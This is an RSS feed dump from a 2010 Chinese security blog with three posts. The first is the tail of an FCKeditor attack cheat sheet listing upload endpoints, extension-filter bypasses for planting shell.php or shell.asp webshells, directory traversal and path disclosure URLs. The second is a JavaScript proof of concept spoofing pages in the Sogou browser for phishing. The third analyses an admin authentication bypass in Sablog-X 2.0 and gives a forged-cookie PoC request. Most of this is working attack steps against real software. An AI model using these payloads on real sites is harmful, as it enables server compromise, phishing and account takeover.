action=&amp;#8221;http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media&amp;#8221; method=&amp;#8221;post&amp;#8221;&amp;#62;Upload a new file:&amp;#60;br&amp;#62;
&amp;#60;input type=&amp;#8221;file&amp;#8221; name=&amp;#8221;NewFile&amp;#8221; size=&amp;#8221;50&amp;#8243;&amp;#62;&amp;#60;br&amp;#62;
&amp;#60;input id=&amp;#8221;btnUpload&amp;#8221; type=&amp;#8221;submit&amp;#8221; value=&amp;#8221;Upload&amp;#8221;&amp;#62;
&amp;#60;/form&amp;#62;
—————————————————————————————————————————————————————————————
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
        很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
    4.1：提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
    4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————
5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&amp;#38;Type=Image&amp;#38;CurrentFolder=%2Fshell.asp&amp;#38;NewFolderName=z&amp;#38;uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&amp;#38;CurrentFolder=/&amp;#38;Type=Image&amp;#38;NewFolderName=shell.asp
—————————————————————————————————————————————————————————————
6. FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/test.html
FCKeditor/editor/filemanager/upload/test.html
FCKeditor/editor/filemanager/connectors/test.html
FCKeditor/editor/filemanager/connectors/uploadtest.html
—————————————————————————————————————————————————————————————
7.常用上传地址
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&amp;#38;Type=Image&amp;#38;CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&amp;#38;connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;#38;Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)
JSP 版：
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&amp;#38;Connector=connectors/jsp/connector.jsp
注意红色部分修改为FCKeditor 实际使用的脚本语言，蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历，紫色部分为实际网站地址。
—————————————————————————————————————————————————————————————
8.其他上传地址
FCKeditor/_samples/default.html
FCKeditor/_samples/asp/sample01.asp
FCKeditor/_samples/asp/sample02.asp
FCKeditor/_samples/asp/sample03.asp
FCKeditor/_samples/asp/sample04.asp
一般很多站点都已删除_samples 目录，可以试试。
FCKeditor/editor/fckeditor.html 不可以上传文件，可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
—————————————————————————————————————————————————————————————
9.列目录漏洞也可助找上传地址
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 ../../来进入不同的目录
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&amp;#38;Type=Image&amp;#38;CurrentFolder=../../..%2F&amp;#38;NewFolderName=shell.asp
根据返回的XML 信息可以查看网站所有的目录。
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;#38;Type=Image&amp;#38;CurrentFolder=%2F
也可以直接浏览盘符：
JSP 版本：
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&amp;#38;Type=&amp;#38;CurrentFolder=%2F
—————————————————————————————————————————————————————————————
10.爆路径漏洞
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&amp;#38;Type=File&amp;#38;CurrentFolder=/shell.asp
—————————————————————————————————————————————————————————————
11. FCKeditor [...]&lt;img src=&quot;http://www1.feedsky.com/t1/338844755/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844755/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844755/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844755/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=67ce33d67ead4fe60540f7bf54d16a66&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=67ce33d67ead4fe60540f7bf54d16a66&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=bc90d7878a8416cfe6c3f06e7fee53de&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=bc90d7878a8416cfe6c3f06e7fee53de&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=da0c75e0d1c5979ee416397ac99206b2&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=da0c75e0d1c5979ee416397ac99206b2&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d46ecdf5918a3897e5962f37acd79feb&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d46ecdf5918a3897e5962f37acd79feb&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=febb333bc355e542fd39a6a3036f72f8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=febb333bc355e542fd39a6a3036f72f8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=519e6aa208570bfec6a7c485c1eb6a28&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=519e6aa208570bfec6a7c485c1eb6a28&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=c2d6c1d86e544704b1b0e3f90e381f38&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=c2d6c1d86e544704b1b0e3f90e381f38&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=1ebfa07559b2e9ae5f433b8dcb5315a0&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=1ebfa07559b2e9ae5f433b8dcb5315a0&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=704b611dca86333438453a85f5e19f55&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=704b611dca86333438453a85f5e19f55&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>漏洞</category><category>Fckeditor</category><category>工具收集</category><category>学习笔记</category><pubDate>Tue, 02 Mar 2010 14:14:04 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/369.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=369</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/369.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844755/5987391</fs:itemid></item><item><title>搜狗浏览器“页面欺骗”漏洞</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844756/5987391/1/item.html</link><content:encoded>&lt;p&gt;作者：&lt;a href=&quot;http://hi.baidu.com/xisigr&quot; target=&quot;_blank&quot;&gt;xisigr&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;测试版本：搜狗浏览器版本&lt;/strong&gt;：1.4.0.418(正式版)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞成因&lt;/strong&gt;：在搜狗浏览器中，window.location和document.write两个函数发生条件竞争阻 塞。“window.location”函数使URL中显示到一个地址域，同时页面元素却可以被“document.write”函数所改写。这样导致攻 击者可以篡改页面，来实施钓鱼欺骗攻击。&lt;br /&gt;
&lt;strong&gt;&lt;br /&gt;
效果图&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://huairen.me/wp-content/uploads/08eeaf59492bcfea9c82049c.jpg.png&quot;&gt;&lt;img class=&quot;alignnone size-medium wp-image-367&quot; title=&quot;08eeaf59492bcfea9c82049c.jpg&quot; src=&quot;http://huairen.me/wp-content/uploads/08eeaf59492bcfea9c82049c.jpg-300x187.png&quot; alt=&quot;&quot; width=&quot;300&quot; height=&quot;187&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;测试代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
&lt;span style=&quot;color: #ff0000;&quot;&gt;&amp;lt;center&amp;gt;
&amp;lt;h1&amp;gt;SogouExplorer spoofing&amp;lt;/h1&amp;gt;
&amp;lt;/center&amp;gt;
&amp;lt;p&amp;gt;
&amp;lt;a href=&quot;javascript:spoof()&quot;&amp;gt;test!&amp;lt;/a&amp;gt;
&amp;lt;p&amp;gt;
&amp;lt;script&amp;gt;
function spoof()
{
window.location = &quot;http://www.google.com&quot;;
document.write(&quot;&amp;lt;title&amp;gt;Google&amp;lt;/title&amp;gt;&quot;);
document.write(&quot;&amp;lt;h1&amp;gt;FAKE PAGE&amp;lt;/h1&amp;gt;&quot;);
document.write(&quot;xisigr[xeye]&quot;);
}
&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844756/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844756/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844756/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844756/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=832d2cfd904dfcffd9c8c8de52fedf61&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=832d2cfd904dfcffd9c8c8de52fedf61&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b439107affcc970e5a0e4bb737af00c4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b439107affcc970e5a0e4bb737af00c4&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d9186505f2513ddc62c8f3a16e9dace5&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d9186505f2513ddc62c8f3a16e9dace5&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=f348fcf8073475c3ffaa08f07d09b2e1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=f348fcf8073475c3ffaa08f07d09b2e1&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b164d89da578cc717bee5be9d773b4bf&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b164d89da578cc717bee5be9d773b4bf&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=5e5f1fde196b808080cf3b675bbf9d8d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=5e5f1fde196b808080cf3b675bbf9d8d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=94770354c096aefc18aa6d576797e89c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=94770354c096aefc18aa6d576797e89c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=37bfc4be512012124435abcd45025d92&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=37bfc4be512012124435abcd45025d92&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=79f2a60a4c2e7b3756a08dbdf4d2303b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=79f2a60a4c2e7b3756a08dbdf4d2303b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/366.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>作者：xisigr
测试版本：搜狗浏览器版本：1.4.0.418(正式版)
漏洞成因：在搜狗浏览器中，window.location和document.write两个函数发生条件竞争阻 塞。“window.location”函数使URL中显示到一个地址域，同时页面元素却可以被“document.write”函数所改写。这样导致攻 击者可以篡改页面，来实施钓鱼欺骗攻击。

效果图：

测试代码：

&amp;#60;center&amp;#62;
&amp;#60;h1&amp;#62;SogouExplorer spoofing&amp;#60;/h1&amp;#62;
&amp;#60;/center&amp;#62;
&amp;#60;p&amp;#62;
&amp;#60;a href=&quot;javascript:spoof()&quot;&amp;#62;test!&amp;#60;/a&amp;#62;
&amp;#60;p&amp;#62;
&amp;#60;script&amp;#62;
function spoof()
{
window.location = &quot;http://www.google.com&quot;;
document.write(&quot;&amp;#60;title&amp;#62;Google&amp;#60;/title&amp;#62;&quot;);
document.write(&quot;&amp;#60;h1&amp;#62;FAKE PAGE&amp;#60;/h1&amp;#62;&quot;);
document.write(&quot;xisigr[xeye]&quot;);
}
&amp;#60;/script&amp;#62;&lt;img src=&quot;http://www1.feedsky.com/t1/338844756/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844756/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844756/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844756/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=832d2cfd904dfcffd9c8c8de52fedf61&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=832d2cfd904dfcffd9c8c8de52fedf61&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b439107affcc970e5a0e4bb737af00c4&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b439107affcc970e5a0e4bb737af00c4&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d9186505f2513ddc62c8f3a16e9dace5&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d9186505f2513ddc62c8f3a16e9dace5&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=f348fcf8073475c3ffaa08f07d09b2e1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=f348fcf8073475c3ffaa08f07d09b2e1&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=b164d89da578cc717bee5be9d773b4bf&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=b164d89da578cc717bee5be9d773b4bf&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=5e5f1fde196b808080cf3b675bbf9d8d&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=5e5f1fde196b808080cf3b675bbf9d8d&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=94770354c096aefc18aa6d576797e89c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=94770354c096aefc18aa6d576797e89c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=37bfc4be512012124435abcd45025d92&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=37bfc4be512012124435abcd45025d92&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=79f2a60a4c2e7b3756a08dbdf4d2303b&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=79f2a60a4c2e7b3756a08dbdf4d2303b&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>搜狗</category><category>漏洞</category><category>工具收集</category><category>学习笔记</category><category>浏览器</category><category>搜狗浏览器</category><pubDate>Mon, 01 Mar 2010 09:25:02 +0800</pubDate><author>坏人咖啡</author><comments>http://huairen.me/archives/366.html#comments</comments><guid isPermaLink="false">http://huairen.me/?p=366</guid><dc:creator>坏人咖啡</dc:creator><fs:srclink>http://huairen.me/archives/366.html</fs:srclink><fs:srcfeed>http://huairen.me/feed</fs:srcfeed><fs:itemid>feedsky/badcoffee/~7877768/338844756/5987391</fs:itemid></item><item><title>Sablog-X 2.0 后台管理权限欺骗漏洞</title><link>http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844757/5987391/1/item.html</link><content:encoded>&lt;p&gt;作者：&lt;a href=&quot;http://bbs.wolvez.org&quot; target=&quot;_blank&quot;&gt;Ryat&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;前不久80vul公布了sax2.0的一个漏洞,随后4ngel发布了补丁,不过权限验证部分的代码还是存在问题,下面就来简单说说这个漏洞:D&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// cp.php

if (!$sax_uid || !$sax_pw || !$sax_logincount || !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
    loginpage();
}
...
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;下面来看下这几个变量是怎么来的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// common.inc.php

list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode(&quot;\t&quot;, authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', '');
// authcode()就是简单的调用base64_decode
$sax_hash = sax_addslashes($_COOKIE['sax_hash']);
// 这些变量来自$_COOKIE,是可以控制的:)
// 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量

$sax_uid = intval($sax_uid);
$sax_pw = sax_addslashes($sax_pw);
$sax_logincount = intval($sax_logincount);
$sax_group = 4;
// 默认的值为4,而我们需要的值是1
$_EVO = array();
// 这里是fix那个变量覆盖的漏洞:)

$seccode = $sessionexists = 0;
$userfields = 'u.userid AS sax_uid, u.username AS sax_user, u.password AS sax_pw, u.groupid AS sax_group, u.logincount AS sax_logincount, u.email as sax_email, u.url as sax_url, u.lastpost, u.lastip, u.lastvisit, u.lastactivity';
// 这里定义的字段包括sax_user、sax_pw、sax_group、sax_logincount,这些都是后台权限验证时要用到的
if ($sax_hash) {
    if ($sax_uid &amp;amp;&amp;amp; $sax_pw) {
// 流程[1]
// 这里会查询sax_group,但如果我们想让查询出的值为1[也就是说查询出管理员的信息],就必须知道管理员的sax_hash、sax_pw、sax_logincount等多个值
        $query = $DB-&amp;gt;query(&quot;SELECT s.hash, s.seccode, $userfields
            FROM {$db_prefix}users u
            LEFT JOIN {$db_prefix}sessions s ON (s.uid = u.userid)
            WHERE s.hash='$sax_hash' AND u.userid='$sax_uid' AND CONCAT_WS('.',s.ip1,s.ip2,s.ip3,s.ip4)='$onlineip'
            AND u.password='$sax_pw' AND u.logincount='$sax_logincount' AND s.auth_key='$sax_auth_key'&quot;);
    } else {
        $query = $DB-&amp;gt;query(&quot;SELECT hash,uid as sessionuid,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash='$sax_hash' AND CONCAT_WS('.',ip1,ip2,ip3,ip4)='$onlineip' LIMIT 1&quot;);
// 流程[2]
// 如果我们知道管理员的sax_hash和onlineip,就可以使下面的$_EVO['sessionuid']的值为管理员的id
    }
    if ($_EVO = $DB-&amp;gt;fetch_array($query)){
        $sessionexists = 1;
        if($_EVO['sessionuid']) {
// 流程[3]
            $query = $DB-&amp;gt;query(&quot;SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='&quot;.intval($_EVO['sessionuid']).&quot;'&quot;);
            $_EVO = array_merge($_EVO, $DB-&amp;gt;fetch_array($query));
// 这里查询的数据会合并到$_EVO,而我们只要能控制$_EVO['sessionuid']的值为1[假设我们要查询的管理员id为1],就可以查询出正确的管理员信息,这样就可以保证sax_group的值为1了
            $sax_uid = $_EVO['userid'];
        }
    } else {
        if($_EVO = $DB-&amp;gt;fetch_one_array(&quot;SELECT hash,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash='$sax_hash' AND CONCAT_WS('.',ip1,ip2,ip3,ip4)='$onlineip'&quot;)) {
            dcookies();
            $sessionexists = 1;
        }
    }
}
......
@extract($_EVO);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由上面的代码可以看到,如果我们知道session表中uid为1的数据的sax_hash和onlineip,通过流程[2][3]就可以查询出正确的管理员信息,再通过extract($_EVO)注册变量,就可以通过后台的验证,获得管理员权限了:)&lt;br /&gt;
那么我们如何知道正确的sax_hash和onlineip呢？&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// global.func.php

function updatesession() {
...
        replacesession(1);
...
}
...
function replacesession($insert = 0) {
...
$ips = explode('.', $onlineip);
...
        $DB-&amp;gt;query(&quot;INSERT INTO {$db_prefix}sessions (hash, auth_key, ip1, ip2, ip3, ip4, uid, groupid, lastactivity, seccode, is_robot) VALUES ('$sax_hash', '$sax_auth_key', '$ips[0]', '$ips[1]', '$ips[2]', '$ips[3]', '$sax_uid', '$sax_group', '$timestamp', '$seccode', '&quot;.IS_ROBOT.&quot;')&quot;);
...&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;replacesession()函数为我们提供帮助,因为$sax_hash、$sax_uid、$onlineip这些变量是可以控制的,所以我们可以向session表中出入一条uid为1的数据:)&lt;/p&gt;
&lt;p&gt;首 先我们使$sax_uid为1,$sax_pw为空,这样就会跳过流程[1]执行流程[2],这时我们的sax_hash和onlineip在 session表中并不存在,所以流程[3]不会执行,通过extract($_EVO)注册变量时也不会重新注册$sax_uid、$sax_hash 和$onlineip,这样我们就可以通过updatesession()函数向session表中插入一条uid为1同时sax_hash和 onlineip也是我们知道的数据了&lt;br /&gt;
然后我们重新执行上面的过程,因为这时session表里已经有了我们需要的数据了,流程[3]将被执 行,user表中uid为1的管理员数据将被查询出并合并到$_EVO,并通过extract()重新注册变量[$sax_group的值将被重新注册为 1],这样我们就可以通过后台权限验证,并获得管理员权限了:)&lt;/p&gt;
&lt;p&gt;PoC:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /cp.php  HTTP/1.1;
Host: 127.0.0.1
Connection: Close
Cookie: sax_auth=MQkJ;sax_hash=abcdef;&lt;/code&gt;&lt;/pre&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/338844757/badcoffee/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/badcoffee/~7877768/338844757/5987391/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/badcoffee/338844757/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/badcoffee/338844757/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=3aa2fa80ac0ad9f74b04396449a4d6e3&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=3aa2fa80ac0ad9f74b04396449a4d6e3&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=d611cd0b2d9b207424b7889c7e5a715c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=d611cd0b2d9b207424b7889c7e5a715c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=409d670a4efa08e14c2b8e9c1a462fe6&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=409d670a4efa08e14c2b8e9c1a462fe6&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=163c029f6363821aa8c0be0b11255817&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=163c029f6363821aa8c0be0b11255817&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=037b67b1040fdd8bef901d56c5b15140&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=037b67b1040fdd8bef901d56c5b15140&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=c9a7617c87a6873795be5bafdb42feb1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=c9a7617c87a6873795be5bafdb42feb1&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=6bbc055db9994da098f556bfb563ef7e&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=6bbc055db9994da098f556bfb563ef7e&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=1657a92b194d50996bffc7deaf7a7b21&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=1657a92b194d50996bffc7deaf7a7b21&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/badcoffee?a=f20d213163e75a19371f2e7c9d82dab8&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/badcoffee?i=f20d213163e75a19371f2e7c9d82dab8&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://huairen.me/archives/364.html/feed</wfw:commentRss><slash:comments>0</slash:comments><description>作者：Ryat
前不久80vul公布了sax2.0的一个漏洞,随后4ngel发布了补丁,不过权限验证部分的代码还是存在问题,下面就来简单说说这个漏洞:D
// cp.php

if (!$sax_uid &amp;#124;&amp;#124; !$sax_pw &amp;#124;&amp;#124; !$sax_logincount &amp;#124;&amp;#124; !$sax_hash) {
// 只要这个条件不满足,就可以通过后台的权限验证了
    loginpage();
}
...
if ($sax_group == 1) {
// 如果要获得管理员权限,还必须保证$sax_group的值为1
...
下面来看下这几个变量是怎么来的
// common.inc.php

